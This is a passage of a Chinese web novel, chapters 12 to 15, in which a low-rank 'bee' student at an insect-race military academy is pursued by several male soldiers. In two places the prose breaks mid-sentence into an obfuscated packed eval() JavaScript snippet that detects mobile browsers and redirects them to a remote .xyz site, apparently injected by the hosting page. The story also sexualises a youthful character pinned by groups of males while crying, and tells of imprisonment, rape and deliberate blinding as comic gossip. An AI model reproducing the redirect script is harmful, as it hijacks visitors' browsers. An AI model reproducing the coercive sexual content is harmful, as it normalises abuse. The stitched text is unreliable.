厄斐尼洛叼着黑色漆皮手套的一角摘下来,腾出一只手捏着诺蓝的下巴,亲昵晃了晃,“小漂亮,被异种吓傻了?放心,异种已经失去在空气里存活的能力了,我看那群粗鲁的蝉也没有派出人手保护你,真够粗心的。” “他们可没时间照顾第一次出外勤任务的小蜜蜂,”他压低声线,嗓音嘶哑地颤抖着笑意,“我的营地在附近,晚上欢迎你去做客,你不来的话,我会很伤心的,嗯?” 诺蓝面无表情地拍掉他的手,“我有地方睡。” “和艾尔法吗?他那么大体型的蝉,你想和他建立精神链接,他只会把你榨得一滴都不剩。” 厄斐尼洛转身将他抵在狭窄的玻璃和墙壁夹缝里,整个身体都压了过来。 诺蓝别开头,可是拥有黄金瞳的嚣张雄虫却将脑袋埋在他颈窝里,深深吸了一口气,双手自然而然地落到他腰上,不满地轻咬了一下他的脖子。 炙热的呼吸洒在那截细白的皮肤上,雄虫微厚的嘴唇在他脖颈旁若即若离,舌尖细密地舔舐着那一处齿痕。 “你就不能通融一点吗?” 报复心理很强的雄虫在他耳边呢喃,“既然你允许艾尔法接近你,为什么我不行?” “……放手。”诺蓝被他掐着腰,只能伸手给了他一巴掌。 清脆响声响起,厄斐尼洛闷哼,发丝微乱,舌尖舔了下微裂开的唇角,兴奋地喘息着盯着他,他的目光有种凝视猎物的快/感。 螳螂在捕猎前总还是要花费一些时间瞄准。 “打得不爽的话,再打几下?” 厄斐尼洛将那处齿痕舔的又湿又热,那一小块皮肤变得过分敏感,诺蓝闭着眼睛又给了他一巴掌, “艾尔法戴了电击项圈,所以我允许他的靠近。” “如果你也想靠近我,就戴上项圈。” “……所以我才这么讨厌这群冷静自持的蝉。” 银蓝色短发的雄虫叹了口气,伸臂将无力软在墙上的小雌虫抱在怀里,低头用温热的嘴唇轻轻啄吻他的侧颈,湿热的触感掠过,雄虫像无微不至的照顾者,替他清理白皙皮肤上洇出的汗珠和泪水。 诺蓝细细颤抖一下望着他肿胀的脸,伸出了一根手指,警诫意味明显。 厄斐尼洛顺从地向前倾倒,配合他的动作,甚至把脸露了出来,一副死性不改的顽劣模样。 …… 不过想象中的巴掌并没有落下来。 在朦胧的光线里,雄性虫族棱角分明的五官桀骜不驯,诺蓝无奈地抬起手,在雄虫可怜糜肿的脸颊下方揉了揉。 虽然仅仅是一次触摸,甚至不是亲吻。 厄斐尼洛却还是温顺地闭上眼睛,在甜蜜温暖的气息中,像只小乖虫一样蹭了蹭诺蓝的掌心。 13. 第 13 章 黑工厂只是任务点之一,清扫污染区的任务仍旧由实战系进行外围清扫,工程系进行收尾工作。 诺蓝负责…… 负责咸鱼,哈哈。 反正那群雄虫那么能干,也用不上他啊,唯一能认出他身份的异种还是个不会现代虫族语言的老古董,他也不用担心,就老老实实随大流,跟着特战队回露营地。 特战队和突袭队作为军校两大王牌部队,自然而然冲在第一线,副队路修留下来照顾不出任务的队员。 他的眼神似有若无关注着小蜜蜂,发觉少年软乎乎的身躯似乎是疲惫了,走得很慢,便用黑棘骨尾就牵住了诺蓝的手腕,带着他一起往前走。 “诺蓝,帐篷已经替你搭好了,就在北区,和队长帐篷挨在一起,我们特战队的经费充足,不需要两只虫挤在一间。” 路修的笑哪怕是在黑夜里也灿然夺目。 “队长和卢卡斯他们去追残余的犯罪虫族了,别担心,能够打败队长的虫族还没有出生,哪怕他不在,我也会保护好你的。” 诺蓝倒不是很担心,艾尔法的能力有目共睹,匹配结果出来的时候,他是松了一口气的,与其跟其他虫族组队,不如把SS级当成最难搞的样本,先行建立精神链接。 诺蓝从生下来就会和其他虫族的脑域产生共鸣,也可以通过自身脑域,使其他虫族的精神力相互沟通,也就是说,他完全可以通过链接艾尔法达到集体链接的效果。 可惜F级的精神力意味着他是个低等种,脑域上限很低,反正如果作为普通雌虫来讲可能就没那么优秀叭…… 诺蓝咸鱼流泪…… 行进的过程中,天空中传来飞虫的怒吼咆哮声,利箭穿云一般啸戾。 紧接着,另一道虫翅割裂血肉的爆破声怒号而来。 “是队长吗?”诺蓝一时间分辨不清情况,询问路修,路修鼻尖微蹙:“应该是卢卡斯,他刚改造的流星刃还是有效的。” 路修笑了下,在战火中看上去也很清爽干净,尤其是他颊边的酒窝,似乎盛得下一汪清泉:“打磨虫翅的过程虽然疼了点,但效果显著,卢卡斯已经是中校军衔,他还有大好前途,我也打算在身上做一些改造,已经做了一部分,还差一点点就做完了。” 【大家族的虫族就是有资本肆意挥霍……嫉妒了!】 诺蓝很好奇:“你家雌父雄父不会管你吗?” “我不会告诉他们的。”路修咳了声,雪白的耳垂肉眼可见地红出血色。 青年还顾着羞怯,狰狞的黑棘长尾却不打招呼,直接抬起来捂住诺蓝的嘴。 诺蓝:…… 路修大惊失色,赶紧把尾巴撇到一边,抓住少年坠落的身体,“抱歉!小可爱,我的尾巴有自己的想法,我会管教它的!” 诺蓝虚弱地笑了笑,“没事……” 【啊啊啊啊差点儿勒死我,路修副队连尾巴都管不住……】 路修的眸子愈发深蓝,夜色中如同暗潮汹涌的深潭,他从背后搂住了诺蓝,一只粗糙宽大的手按住他的肚皮,另只手抚摸着他的喉骨,传来热炽的掌握感。 怀里的小蜜蜂柔软单薄,路修单手就能搂住他的腰,少年一动都没动,小小一只,只在他怀里露出一个脑袋。 路修的下巴垫在少年的肩头,低磁悠扬的声音低声嘟囔道:“小可爱,你会不会就此讨厌我?” 诺蓝的手指搭在路修的手腕骨上,背后的温暖燃烧着他的脊梁。 【委屈巴巴的,怎么像被抛弃的虫一样?】 诺蓝磕磕巴巴的:“不、不讨厌啊,怎么了?” “不讨厌就好!”路修热情地搂紧了诺蓝,唇碰了下他的发顶,抱着他转圈圈。 诺蓝被他幼稚到了,连忙拍拍他的肩膀,被他放下来的时候两脚发软,路修赶紧扶住了诺蓝,把他背起来,诺蓝轻轻呼吸着,把头埋进年轻蝉族副监察官的肩膀。 路修的声音清朗而又温柔,“我就这样背着你走吧,前方沼泽,我不愿意让你陷入困境。” 夜色寒冷,氛围暖和,路修的手臂温暖而克制,他不像其他雄虫那样对其他虫有所保留,他从来不懂得矜持和谦让,好像有用不完的活力和激情,比如脚下都是沼泽,他明明可以绕开走,却要背着诺蓝从上空掠过去,顽皮地享受风与潮湿的速度。 诺蓝安心趴在他背上:“谢谢副队照顾。” 路修垂下眸子,喉咙里一声愉悦笑意,“你喜欢,我就有源源不断的惊喜送你。” 诺蓝的手放松地搭在他胸前,却不小心略过他结实的胸口,碰到一个坚硬的圆球形金属制品。 路修浑身一凛,白发遮掩下的耳根貌似更红了,喉咙里挤出低低的一声喘息,似乎有话想说,却最终保持沉默,手掌没收住力气,捏紧了诺蓝的大腿,抱着他的屁股往上掂了掂。 诺蓝连忙夹紧青年蝉族的七八段腹节肌,这才注意到他耳骨上有一枚银钉。 想到刚才的触感……该不会也是银钉吧? 如果要求看一看的话,估计会被大狗狗一样热烈的路修打! “到了,小可爱!” 路修忙不迭把诺蓝放下,盯着一张红透了的俊脸,憋了半天,没忍住握住他的手,低头绅士地轻轻一吻诺蓝的指尖。 “你有什么要求就命令我,不止是队长吩咐过让我照顾全队,我也会尽心尽力地照顾你。” 诺蓝的手被他吻得酥痒,赶紧收回手,“我知道了,副队。” 路修看了眼手腕智脑,随后柔和地揉了揉诺蓝的头发,带着几名队员去安置实战系同学了。 # 送走了路修,诺蓝还有点担心艾尔法和路修他们,不想成为队伍的累赘,于是找到自己的帐篷,一弯腰钻了进去。 呼,好温暖,果然黑夜和火炉最配,诺蓝躲进被子里脱掉制服,换上保暖套装,就听见隔壁帐篷传来的动静。 “……小点声,会被听见!” “不叫出来没意思,宝贝,叫给我听——” 诺蓝无语抱起双臂。 【又谁啊?这么冷的夜晚,刚处理完血腥现场,还有心情打炮?】 嗯?再说一遍? 整个营地的虫族全都放轻了手脚,然后又怕被察觉到,赶紧继续干活。 大伙儿刷烧烤架,起炉子,砍木材,调试无线电,忙忙碌碌,看似平静,实则吃瓜! 【帐篷里打野/战,还驾着录像机找情趣是吗?这个雌虫也真是的,在舔雄虫的脚趾啊,等等,他怎么往上舔啊?……我靠,解开制服腰带了,上面还挂着个小钥匙牌子,我看看……原来他是戈兰登家族的雄子!】 【戈兰登家族是什么?系统你激动什么?】 原来小可爱自带一个系统? 虫族们被接连震惊! 卧槽!戈兰登家族?现在首都星十大元帅之一的戈兰登家族? 诺蓝倒是知道军校里有不少的权贵子弟,但根本没接触过,他们平时都在学生会里,上午上课,下午接受家族安排的培训课程,神秘莫测,信息绝对保密。 【噢,就是军统世家呗,这有什么,能守住虫族的六大星系是他们的福气。】 【他居然有录视频的癖好?我看看,他有四百多个视频,行走的雌虫小电影收集机!】 【这个雌虫也不得了,是贵族阶层出身,雄父是国土部部长,手握十二颗星球的驻地权,噫,他居然肯拍那种照片!】 【诶?他们俩不是官宣结婚了吗?那还在这里玩这么刺激?是嫌家里花园不够大?】 【……哦,不是和彼此官宣结婚啊。】 【刺激,当我没听见,你们请继续。】 众虫族:!! 这种级别的虫族如果被爆料,直接影响到戈兰登家族生意和股价,甚至可以动摇帝国资源领域的根基! 被吊起胃口的虫族难受的要命! 这么多帐篷,谁知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805776|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道哪个帐篷里有好戏看啊? 诺蓝呢?他怎么溜号跑啦! 整个北区焦灼一片,其实诺蓝没跑,诺蓝只是在露营地西侧碰见了梅队长他们。 梅那一头金发在夜里显眼明亮,贝利尔沉默地搬运树叶搭房子,蝶族们居住在树上的叶巢里,远离地面的危险。 诺蓝看了眼时间,是九点多,这会儿突袭队都回来了,特战队怎么还没回来? 艾尔法和卢卡斯他们不会迷路了吧? 西边工程系的营地居然也一片漆黑,这不正常。 …… “被盯上了,快灭灯,有雇佣兵偷袭,准备应战!” 很快,实战系营地炮火连天,黑夜划过一道道闪亮的火焰,到处都是一片漆黑。 路修第一时间找到诺蓝,表情凝重:“原定去支援前线的潜行战队被工程系调走了,机甲战队留下来保护指挥系和医疗系的同学,诺蓝,你就在这附近找个据点隐藏起来,等我们回来找你——” 话还没说完,呼啸而过的一阵风扑倒了路修,是变异种虫族! 它的肌体表面覆盖着苍白的外骨骼,畸形的虫翅,腥红的双眼冒出凶狠的恶气,却盯紧了诺蓝。 它想扑倒诺蓝! 路修就势翻滚向前化为虫型,居高临下地看着变异种,察觉到它的视线在看谁,蝉族的怒火骤然爆发。 巨大的前肢圈住雇佣兵虫,无数条触手裂开无数吸盘,“滚开,”冰丝蝉冷酷无情道,“就凭你也想觊觎他?” 路修与变异雇佣兵虫混战进了密林,给诺蓝留足了逃离时间。 # 诺蓝头也不回一直往前跑,在丛林里寻找躲避空间。 前方一片营地亮起灯,数十台机甲冲出营地,绕过诺蓝爆冲进密林和外围战场,紧接着诺蓝就被一只机械臂抓住腰塞进了机甲里。 诺蓝:! 雄虫的费洛蒙气息扑面而来,散发着清幽的芳香,像夜色中盛放的睡莲。 “其实这种级别的战斗,还不需要我们机甲战队出动,那群小雄虫就能处理这些小场面。不过,艾尔法如果知道路修把你弄丢了,会不会把他的蝉翼掰断?” 银发银眼的雄虫单手驾驶机甲,诺蓝还想跳下去,但是古拉德将搭扣勒紧了诺蓝的腰。 “古拉德队长,别开玩笑了,我要去找路修副队!” 古拉德回眸看了诺蓝一眼,眼角泪痣妖冶戏谑:“放心吧,就算艾尔法顾不上你,我也有义务替特战队照顾你,只怕他明天早上找你的时候,不会第一个想到我们机甲队。” 诺蓝从他话语里听不出一丝可惜,反倒是愉悦更多:“一定要等到明天早上吗?” “不,我的意思是,等艾尔法找到你,我才放你安全离开。” 古拉德拉着诺蓝的手,缓缓在自己身体上拂过,轻轻笑着,慢条斯理道:“既然不能与你匹配,那我们只能从奇路突袭,获得你的信任了。” “我没有携带任何武器,摸得到吗?” 诺蓝抿了下嘴唇,“……嗯。” 古拉德的笑容愈发优雅,驾驶着机甲降落在地,顺手把浑身是汗虚弱无力的小蜜蜂捞出来,用袖口擦掉他额畔的汗,慢悠悠把他带回了自己的营地。 “看我把谁带回来了?” 陌生的东区营地里,机甲战队的凶猛虫族停下擦拭机甲的动作,纷纷看过来。 有虫族认出了诺蓝,两条触须瞬间起立! “是指挥系的诺蓝?” 机甲系的壮汉们走过来,蓝发白眼的里奥正在往手臂上缠绷带,看见诺蓝,他六翅轻颤,眸子晶亮。 古拉德将披风罩在诺蓝肩上,夜风吹过,他高挑性感的身材显露无疑,不知道怎么回事,诺蓝觉得他的眉眼间那股淡淡的冷傲和厄斐尼洛是很相似的,也许他们是亲兄弟? 古拉德淡淡说:“只有一晚的时间,能不能留住贵客,就看你们的本事了,同事们。” 14. 第 14 章 诺蓝心里是有点紧张,毕竟,周围是一群身高平均190以上的雄虫,精神力的话,至少也都是B级+,他们一起上,精神力高压分分钟能把他榨干! 诺蓝抬头,头皮发麻,不用很仔细的去观察,他都能感觉到他们的目光一直在他身上围绕。 周围的空气已经染上了雄虫的气味,树木尤其茂密的东区营地,一位孤立无援的雌虫身陷在一群陌生虫族间,他们一身勾勒胸大肌的黑色紧身胶衣,以包围圈的形式越来越近…… 怎么想,这幅画面也不是很和谐啊! 树叶发出窸窸窣窣的声响,一片月色辉映中,银发红色眼瞳的雄性虫族,血肉淋漓地走出来。 “东区所有雇佣兵收割完毕,现在可以修整队伍了,零点熄灯。” 寒芒如白色光线照在他的银发上,干涸的残血逐渐消融。 高等种血脉雄虫收拢着金属的指尖,将指导员勋章重新挂在胸前,身后破碎的虫翅缓缓掉落。 新的虫翅破茧而出,重新组成雕琢完美的躯壳。 诺蓝往后躲了一小步,指导员的身份在机甲战队里和队长比肩,他现在是实战队的指挥员,又不是机甲队的指挥员,最好降低存在感,省得惹麻烦。 沉静的氛围里,里奥出言打破了沉默。 “摩提奈大校,你家族里有个弟弟在实战系,你清扫战场的时候见到他了吗?” “没有。” 诺蓝被系统戳了一下。 【干嘛?…哇,所以说刚才偷情的那两只虫,雌虫就是摩提奈·戈兰登的未婚雌?】 ?? 机甲战队诸位壮汉纷纷竖起耳朵! 偷情?……等等,是谁在说话? 机甲系的同学们从来没有听见过腹语,显然,这话是诺蓝说的。 早就听说过指挥系的诺蓝有特异功能,原来是这么直白的功能,只要站在他身边就能听见心声,那被念到的虫不会很尴尬吗? 算了,反正只要不八卦到自己头上,大家都忙着看热闹。 现在怎么说,摩提奈大校这样不苟言笑的雄虫也有瓜能吃? 【偷情的雄虫是摩提奈的弟弟,所以说订婚那天晚上,弟弟冒充哥哥敲开了雌君的门,试图强取豪夺,还带了眼罩和手铐,小家伙,玩得还挺花。】 【雌君开门一看发现是弟弟,立刻强烈抵抗,但是弟弟绝对是个禽兽,雌君越叫他就越兴奋,霸占哥哥的雌君让他无比有成就感,但他也很痛苦,痛苦雌君爱的不是他,于是他蒙住了雌君的眼睛,把雌君锁在床头七天,弄了七夜,一滴水也不给喝,到了第八天…噗哈哈哈…到了第八天…】 【弟弟问他愿不愿跟自己在一起,雌君说不愿意,弟弟一怒之下给他喂了失明的药,然后放他出门,从那天起,雌君就变成了残疾虫,只能依附于弟弟生活。】 【其实雌君什么都知道,他就是喜欢弟弟,但是玩弄小雄虫于股掌之中让他非常有成就感,所以就这么一直装傻下去了…哈哈,可怜的摩提奈,还不知道自己雌君跟弟弟跑了吧?】 大家:…… 现在知道了呢:微笑.jpg 但是不敢看摩提奈,怕对上一双燃烧着妒火的眼睛,会死虫的。 摩提奈沉声:“怎么还不去搭帐篷?等着我帮你们动手?” 所有雄虫火速开始搭建营地。 【啧。】 【可惜,摩提奈长得那么美丽,还是会被未婚雌出轨。】 摩提奈将手套扔到里奥怀里,视线一扫而过,在诺蓝身上停驻。 “诺蓝同学。” 摩提奈出声,冷酷执傲的声线犹如锋利刃芒,打断了小蜜蜂的心声。 “啊?” 诺蓝猛地抬头! 摩提奈将后背向他露出,紧身作战服崩裂开了,里面出血的皮肉狰狞可怖。 雄性虫族的血液凝固速度较快,但仍然需要处理:“能帮帮我吗?” 摩提奈冷静地问,余光看着诺蓝,长睫轻轻垂下,“他们都不擅长包扎伤口,我觉得你应该会。” 里奥将铆钉插进地面,扭着手腕嘲讽道:“你不是从来都不需要给伤口缠绷带吗?” “年轻虫,省省吧,”古拉德一只修长有力的手掌搭在里奥的肩膀上,笑意盎然道:“你有时间说闲话,不如去给诺蓝同学的帐篷快点搭好,他晚上没地方睡,就只能睡你帐篷里了。” 里奥的表情诡异地凝了一瞬,身形未动。 古拉德凑近他耳边,低声说:“想看着摩提奈捷足先登吗?不主动的雄虫,下半辈子只能哭泣度过了。” 古拉德撤回身,俊逸的银白头发随风摇曳,微微笑着。 里奥在他的注视下默默离开,高大的背影寻找着能搭建适合雌虫睡觉营地的材料。 # 诺蓝揭开摩提奈后背的衣料,首先看见的居然是丰富的背肌和肩胛骨里生长出的初翅,还有粗链子和绳索。 “这是怎么回事?” 雌虫微凉的指尖划过初翅,摩提奈似乎想要紧紧攥住他的手腕制止他的动作,但最终还是被忍下来了。 “……被雇佣兵们凌虐之后留下的刑具,觉得丑陋的话,连骨头和肉一起吃掉吧。” “不,”诺蓝轻声说:“你别怕疼,我替你摘下来,然后我再看看你的精神力,我能感觉到你现在暴躁不安,为了防止你夜晚精神力暴走误伤同学,你能不能配合我?” “……能。” 疼痛使摩提奈声音颤抖,冷汗直流,就算这样,银色长发的雄虫被粗链子和绳索束缚着,看上去也依然美丽森然。 雄虫背对着诺蓝,所以,在诺蓝侵入他脑域的时候,他用力攥紧了凳子边缘,指骨突出一节节骨刺,尖锐地垂下,在地面上,投下十道诡谲的暗影。 他在见到诺蓝的第一面时,质疑过为什么一个F级的低等种能进入军校。 但现在,他想他找到了理由:诺蓝能够疏导雄虫们的精神力,这个能力价值千万贡献点,毕业后直接进军部工作也不是问题。 …… 高等种们都训练过反入侵系统,在诺蓝完全掌控他脑域的那一刻,摩提奈的触手缠住了诺蓝的腰,不由分说,将他按在软垫子上! “唔!”诺蓝猝不及防轻呼一声,“大校…别误会,我是来帮你的…” 摩提奈闭了闭眼,一滴汗从他额角流淌,砸在诺蓝脸颊上。 他知道自己很失礼,冰冷又扭曲的尾巴寸寸擦过骨骼,混杂汗水,把诺蓝的脸弄得湿漉漉的。 “……抱歉。”摩提奈克制而尽量柔和地说,“但是你不能这么吊着我,既然开始了,就不要半路放弃,我说的对吗,诺蓝同学?” “……” 诺蓝失力地躺着,双眼失神,好不容易聚焦了,却感觉到腰被抓住,贴近滚烫的雄虫躯体。 摩提奈温柔地舔舐着他脸上的汗,握住他腰的大手滚烫粗糙,满是枪茧,在他腰肋那里隐忍停留住,指腹时轻时重地按压,只有在听见小F级可怜兮兮地咿咿唔唔时,他才放轻一点力气。 “摩提奈,要不要把现有机甲的隐形装置打开?我怕明天找不到——” 里奥撩开帘子就进,顿时停在原地。 躺在行军床上的小雌虫晃着触须,求助似的眼神看着他,里奥眉峰一凛,大步流星走过来按住了摩提奈,“他还小,会碎的,你理智一点。” 摩提奈已经失去意识了,双眸涣散,鼻尖微蹙,寻找着香蜜的来源。 里奥把他按住,诺蓝顺势从垫子上爬起来,外面古拉德似乎是听见了帐篷里的骚乱,立刻闯进来,带来一阵风。 “发生什么了?” 诺蓝指了指摩提奈,“……按住他,谢谢!” 古拉德帮助里奥一起架住了摩提奈,摩提奈静静垂下了眼睫,一副任由宰割的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805777|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是这么强悍的雄虫,在憔悴的时候,也是美丽而脆弱的。 【我才疏导了一半,天杀的,今天还不能下课!】 诺蓝带着怜惜的心思,触碰到摩提奈的太阳穴,丝丝缕缕的精神力钻进他的脑域。 “很快就好了,不要害怕,我在你身边,不会离开。” 怜悯而温情的声音从少年口中说出,摩提奈感受到一丝难以言说的安全感,这在以前从来没有过,那只手也无比柔软,像是……妈妈的手。 诺蓝的手顺着他的脖子往下轻抚,很容易被误解成玩弄,可是他不仅不反抗,而是隐晦地满足,双手抱住他的腰闷哼。 摩提奈主动敞开了脑域,精神链接迅速搭建,诺蓝的脸色都变得苍白起来了…… 怎么说呢,满足摩提奈,不比满足艾尔法轻松到哪去。 做得差不多,反正不能再做下去了,诺蓝虚弱地抬起手指,戳一戳他的尾巴:“今晚就做到这里…下次、下次再做吧…” “……好。” 摩提奈强迫自己松开了小蜜蜂的腰肢,尾巴猛地痉挛,然后松懈。 古拉德把摩提奈扶到一边去躺好,诺蓝趁机想要离开帐篷。 只是,摩提奈的尾巴下一秒就缠住了他的脚腕,诺蓝一下子跌倒在垫子里,紧接着,雄虫的呼吸声逐渐平静,似乎只有触碰到诺蓝他才睡得着。 【呜呜呜呜呜……】 “喂,小蜜蜂,”里奥单膝屈起坐下,扭头看着诺蓝,“你刚才那个动作,是想逃跑吗?” 【糟了,忘了他们俩了!!】 里奥鬼使神差地凑近了他的面庞,口器紧紧包裹着雌虫的脖颈,可爱的小蜜蜂乌发散开,面颊粉白,正用一种茫然的眼神看着自己。 意识到自己在欺负小蜜蜂之后,里奥的手扣住了少年的手掌,反按在垫子里,不满道:“我们这么久没见面了,不和我叙叙旧吗,小可爱?” 【太过分了呜呜呜…】 “里奥,你弄疼我了。” 少年咬着含糊的泪音不满道,“我现在真后悔答应你们晚上睡在这,还给你们的指导员做了精神力疏导…” “那怎么办呢?我们机甲队连个指挥师都没有,小蜜蜂,不可怜可怜我们吗?” 古拉德双膝跪在地上,用指腹擦掉了少年眼角的余泪,在他朦胧的眼角,轻轻落下一吻,轻柔的嘴唇带着炙热的温度,另一只手覆盖在刚才摩提奈刚握过的地方。 只是这一次冰凉,细长,力道也很轻。 里奥握住他的手腕放在鼻底轻嗅,湿润的呼吸蕴藏痒意。 “诺蓝同学,你身上好甜,留下来吧,我们会对你很好,比那群蝉还会讨好你。” 古拉德笑眼迷离,暗暗驱逐着摩提奈的气味,“不用怕,我们不会像摩提奈一样克制不住自己,看他把你的腰都掐红了。” “所以你现在知道,操控我们其实很简单,只要你留下来,我们什么都愿意做。” 诺蓝在雄虫们中间蜷缩成一团,呜呜咽咽的,被欺负得不行了…… 【有没有道理啊!本来和高精神力的雄虫建立精神链接就容易被反噬,他们机甲队还这么多雄虫欺负我一个!】 帐篷外,机甲队的虫族们仍旧未眠,帐篷里的影子交叠,实在是令虫好奇到底是怎么欺负的! 里奥舔掉他的眼泪,亲吻他颧骨处的薄薄皮肤,诺蓝的脸血管很薄,想躲,但是被古拉德按住了大腿。 银发银眸的美丽虫族轻咬了一下他的腿,温柔地把弹动的雌虫给压了下去。 “我们这算是在欺负他吗?他哭得好可怜。”里奥嘶哑低沉的嗓音满是不解。 古拉德捏了捏小蜜蜂快滴出血的耳垂,轻笑了声,蛊惑般的磁性音调调侃道:“不,是诺蓝轻轻一碰就出水,流起来就流个不停,他如果真的是因为痛和难受而哭泣,就不会让这帐篷里每一个角落都充满甜腻的蜜味了。” 15. 第 15 章 一直到第二天清晨,古拉德才把软成一滩蜜蜂饼干的诺蓝给捞起来,给他衣服扣子弄好:“昨晚在我们机甲队睡的好吗,诺蓝同学?” “……” 诺蓝并不想回答,至少在胸前鼓隆但是腰肢堪比蜂族的雄虫怀里时,他睡得还算说得过去。 而且机甲队的精神力都已经是极力压制过的平稳了,虽然近期有给实战系二年级做精神力疏导的工作,但如今看上去,难度系数并不是很高。 摩提奈在营地外围巡视,里奥似乎在后半夜的时候被两只雄虫驱逐出去看大门了,在外面挠木头桩子,稀里哗啦的。 天才蒙蒙亮,外面就传来收整行囊的声音,时不时有虫族们兴奋但是很小声的低语,似乎是一夜都没睡。 其实机甲队已经很贴近真实的军部生活了,早起晚睡,他只是一条咸鱼啊,现在要好好考虑一下毕业后的工作去向了…… 还有,据观察,机甲队的虫族们来自于各个军统世家,他们的本体都具有很强的优越感和吸引力,体型庞大如战舰,翅翼和爪牙攻击性极强。 怪不得他们虽然驾驶机甲,但是兴奋劲儿一上来就直接化身变态战斗虫族,用坚不可摧的外壳瞬间摧毁敌人,并且以此为乐。 但是他们也真的是很愚钝。 虫族们昨晚在帐篷外守了一宿,硬是没闯进去,可能这就是高等种血统虫族们最难能可贵的“忠诚”品质吧…… 诺蓝内心的小蜜蜂捂嘴哭… 这样的品质麻烦不要谢谢。 古拉德的银色长发散如朝霞一般披散在背后,空气还微微凉,唯一的热源就是他怀里,诺蓝很没出息地卧倒,恢复精力。 “要不要和我建立精神链接,”古拉德声音缓缓劝诱,“没有虫打扰我们,还有一小段时间可以完成初步链接,要不要和我试试,小可爱?” 通过S级的虫族脑域,可以顺便链接上低等级的虫族,诺蓝也想这么做,但是有点犹豫:“时间不够了,我们只能链接到10%左右,你以前没和其他雌虫链接过的话,我也许能把进度条推进到20%……” 一只雄虫在一个生长周期只能接受一位雌虫的疏导,也就是说,诺蓝必须做他的第一位雌虫。 “没有过。” 俊美邪魅的银眼雄虫做出了与外表截然不同的举措——他低下头,顺从的姿态。 “驯服我应该不是一件很容易的事,所以,我一直在等待一位强大的疏导者,征服我,让我心甘情愿臣服于祂。” “所以我说,你来试试。” 诺蓝盘算了一下,自己F级,非高等种雌虫,最强大的,应该是…… 心声。 ……哈哈。 【那就…粗略地做一下?不做到最后,他太会折腾虫了,我的腰现在都很痛…】 诺蓝的手指轻柔地插在古拉德的银发发丝间,按摩着他的头皮,顺手建立了10%的精神链接。 【好…好舒服的触感!】 “……” 古拉德的喉结狠狠滚动,吞咽着被刺激出来的口液,双手不由自主地握住了诺蓝的腿,顺着腿部流畅的线条,一路摸索,握紧脚踝。 就像昨夜,他一直搂着诺蓝的虫尾,还将头贴在尾鳞上,嘴唇轻柔地吻过一片片圆润的鳞,任由满头银发随意散漫地披散在少年的尾巴上,压他在身下。 昨天晚上很冷,诺蓝的虫母基因提醒他要保护下半身的内脏,于是在夜里,他腰以下的部位发生了虫化,从胯骨往下,尾巴柔软地像是棉花,光滑美丽,体表覆盖的仅有一层轻薄柔软的鳞片,就别说是变异种的利爪,哪怕是宇宙中漂浮的微型陨石碎屑,都能轻易划破他的皮肤。 尤其是他的虫体腹部很粗壮,尾部还有一根尚未完全进化的刺尖儿,在掌心里揉捏的时候十分可爱。 雄虫吻不到鳞片,有些急躁,连带着诺蓝也喘不过气来,脸红心跳,强行用脚踩住雄虫的腿,压制他的反抗。 雄虫眉心紧促时,那种连灵魂和虫身都被某些规则牢牢束缚着、所以叛逆地在高压下肆意挥洒生命力的隐忍模样……愈发像某些时刻无话可说的厄斐尼洛。 诺蓝其实很想问他和厄斐尼洛是什么关系,但现在问,未免有点乘虫之危的意思,他只能去问系统,看看能不能吃到关于有关于虫族制度不合理的瓜。 【……】 系统在沉睡。 好吧… 雄虫粗糙的大掌扣住他的小腿,贴在自己腰侧按紧,诺蓝一直在喘,累得连眼角都是汗,只能尽力把腿往后扯,抓紧了自己的腰带,避免某些过于粗糙的倒钩现象出现在他腿侧。 在古拉德队长高频率的需求下…… 诺蓝哼哼唧唧地把进度条推到了21%。 “不能、不能再做下去了…停下…” 精疲力尽的小蜜蜂软倒在雄虫怀里,很没出息地捂着脸呜呜噫噫地小声叫唤,两条腿像假肢一样并拢在一起,贴倒在雄虫腰侧。 这一次小蜜蜂不想暗暗吐槽,只想哭诉:“太累了,我不行了,呜呜呜,古拉德队长,你也不能这么压榨我啊,如果被我们队长知道我被这么高强度地使用过的话,我一定会被扣工资的……” “扣工资?不扣别的就行。” 古拉德迅速恢复了体力,把浑身汗淋淋的小蜜蜂抱到怀里,轻声哄道:“他扣多少钱,我以百倍数目打到你卡里,辛苦了,诺蓝同学。” 美丽的银发雄虫看似矜傲,倒是很会照顾虫,对待这位肌肤苍白,肢体纤细柔弱的蜂族少年非常尽心尽力。 他用自己粗壮结实的螳螂尾巴缠住了诺蓝的细长蜂尾,在摩擦的过程中,产生了源源不断的热量。 ……诺蓝太疲倦了,困意袭来,闭上眼睛。 “比起我那个不成器的弟弟,我是不是更加合你的心意?” “什么时候才能正大光明走在你身边,我很期待向帝国宣布,你成为我的雌君……” 睡眼朦胧间,诺蓝似乎听见这样一声遥远的喟叹。 可惜诺蓝在睡觉的时候就算是宇宙爆炸都不会醒来。 雄虫似乎轻笑一声,“小瞌睡虫。” 可以想象得到,他眼尾那颗痣为这副笑容增添了艳丽的魅力。 ……耳垂似乎被轻咬了一口,然后是柔嫩细腻的唇角,轻轻地刺痛,并不足以惊扰到睡回笼觉的小蜜蜂。 # 大概到了太阳暖和一点的时候,诺蓝才和古拉德一起离开了帐篷,古拉德将银白长发在脑后松松垮垮束了起来,将外袍披在了诺蓝肩上。 